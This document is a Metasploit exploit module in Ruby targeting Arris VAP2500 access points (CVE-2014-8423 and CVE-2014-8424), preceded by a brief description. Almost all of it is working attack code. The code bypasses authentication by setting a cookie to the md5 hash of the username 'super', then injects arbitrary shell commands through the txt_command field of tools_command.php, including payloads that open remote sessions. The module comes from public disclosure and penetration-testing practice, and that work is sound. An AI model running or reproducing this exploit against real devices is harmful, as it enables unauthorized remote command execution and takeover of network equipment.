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Arris VAP2500 tools_command.php Command Execution

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Arris VAP2500 access points are vulnerable to OS command injection in the web management portal via the tools_command.php page. Though authentication is required to access this page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid username.

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient

def initialize(info = {})
super(update_info(info,
'Name' => 'Arris VAP2500 tools_command.php Command Execution',
'Description' => %q{
Arris VAP2500 access points are vulnerable to OS command injection in the web management
portal via the tools_command.php page. Though authentication is required to access this
page, it is trivially bypassed by setting the value of a cookie to an md5 hash of a valid
username.
},
'Author' =>
[
'HeadlessZeke' # Vulnerability discovery and Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-8423'],
['CVE', '2014-8424'],
['OSVDB', '115045'],
['OSVDB', '115046'],
['BID', '71297'],
['BID', '71299'],
['URL', 'http://goto.fail/blog/2014/11/25/at-and-t-u-verse-vap2500-the-passwords-they-do-nothing/']
],
'DisclosureDate' => 'Nov 25 2014',
'Privileged' => true,
'Payload' =>
{
'DisableNops' => true,
'Space' => 1024,
'Compat' =>
{
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic telnet'
}
},
'Platform' => 'unix',
'Arch' => ARCH_CMD,
'Targets' => [[ 'Automatic', { }]],
'DefaultTarget' => 0
))
end

def check
begin
res = send_request_raw({
'method' => 'GET',
'uri' => '/tools_command.php',
'cookie' => "p=#{Rex::Text.md5('super')}"
})
if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
return Exploit::CheckCode::Vulnerable
end
rescue ::Rex::ConnectionError
return Exploit::CheckCode::Unknown
end

Exploit::CheckCode::Safe
end

def exploit
print_status("#{peer} - Trying to access the device ...")

unless check == Exploit::CheckCode::Vulnerable
fail_with(Failure::NotVulnerable, "#{peer} - Failed to access the vulnerable device")
end

print_status("#{peer} - Exploiting...")

if datastore['PAYLOAD'] == 'cmd/unix/generic'
exploit_cmd
else
exploit_session
end
end

def exploit_cmd
beg_boundary = rand_text_alpha(8)
end_boundary = rand_text_alpha(8)

begin
res = send_request_cgi({
'uri' => normalize_uri('/', 'tools_command.php'),
'vars_post' => {
'cmb_header' => '',
'txt_command' => "echo #{beg_boundary}; #{payload.encoded}; echo #{end_boundary}"
},
'method' => 'POST',
'cookie' => "p=#{Rex::Text.md5('super')}"
})

if res && res.code == 200 && res.body.to_s =~ /TOOLS - COMMAND/
print_good("#{peer} - Command sent successfully")
if res.body.to_s =~ /#{beg_boundary}(.*)#{end_boundary}/m
print_status("#{peer} - Command output: #{$1}")
end
else
fail_with(Failure::UnexpectedReply, "#{peer} - Command execution failed")
end
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end

def exploit_session
begin
send_request_cgi({
'uri' => normalize_uri('/', 'tools_command.php'),
'vars_post' => {
'cmb_header' => '',
'txt_command' => "#{payload.encoded}"
},
'method' => 'POST',
'cookie' => "p=#{Rex::Text.md5('super')}"
}, 3)
rescue ::Rex::ConnectionError
fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
end
end
end

Source

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